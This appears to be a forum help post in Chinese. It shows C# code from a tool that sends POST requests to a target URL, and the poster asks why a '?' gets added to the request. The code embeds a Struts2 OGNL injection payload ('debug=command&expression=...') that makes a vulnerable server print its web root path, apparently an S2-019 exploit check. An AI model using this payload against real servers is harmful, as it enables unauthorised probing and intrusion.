public String getHtml(String url, String data, String htmlEncode)
{
try
{
//设置模拟http访问参数
Uri uri = new Uri(url);
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(uri);
request.UserAgent = "Mozilla/5.0";
request.Accept = "*/*";
request.Method = "POST";
request.Timeout = 40000;
request.KeepAlive = true;
request.AllowAutoRedirect = true;
request.ContentType = "application/x-www-form-urlencoded";
if (!"".Equals(this.txt_cookie.Text))
{
request.Headers.Add("Cookie", this.txt_cookie.Text);
}
Byte[] b = Encoding.ASCII.GetBytes(data);
request.ContentLength = b.Length;
Stream stream = request.GetRequestStream();
stream.Write(b, 0, b.Length);
stream.Close();
StreamReader sr = new StreamReader(request.GetResponse().GetResponseStream(), Encoding.GetEncoding(htmlEncode));
String html = sr.ReadToEnd().Replace("\n","\r\n");
return html;
}
catch (Exception e)
{
loginfo(e.Message);
//MessageBox.Show(e.Message);
}
return "";
}
public void getInfo() {
loginfo("正在获取Web信息,请稍等片刻........");
String exp = "/admin";
if (this.radb_s19.Checked)
{
exp = "debug=command&expression=%23res%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23res.setCharacterEncoding(%22UTF-8%22),%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23res.getWriter().print(%22dir:%22),%23res.getWriter().println(%23req.getSession().getServletContext().getRealPath(%22/%22)),%23res.getWriter().flush(),%23res.getWriter().close()";
}
String html = getHtml(this.txt_url.Text, exp, "UTF-8");
this.txt_info.Text = html;
如果txt_url.Text为http://www.1.com/ String exp的内容问 /admin
程序会访问的地址则是http://www.1.com/?admin
我想知道这个?号是哪里来的。。。 能不能取消掉。。0 0。。 嘿嘿